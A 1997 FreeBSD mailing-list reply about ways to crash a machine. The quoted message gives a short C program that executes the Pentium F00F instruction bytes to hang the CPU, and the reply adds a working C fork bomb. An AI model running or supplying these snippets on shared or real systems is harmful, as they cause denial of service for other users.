Date: Sun, 9 Nov 1997 20:46:56 +0000 (GMT) From: sporkl <spork@dti.net> To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD Message-ID: <Pine.BSF.3.96.971109204549.3021A-100000@iconoclastic.com> In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca>
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Well, there are other ways too.
1. Toggle power really fast
2. write a "forkbomb":
#include <stdio.h>
main() {
for(;;) {fork();}
}
I am sure there are other ways.
-Spike Gronim
sporkl@dti.net
"Tradition is the chastity belt of the mind"
On Sun, 9 Nov 1997, Michael Richards wrote:
> Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> this is a bug in the pentium processor. Compile and run, it will crash the
> machine right away...
>
> Very simple:
>
>
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
> main () {
> void (*f)() = x;
> f();
> }
>
>
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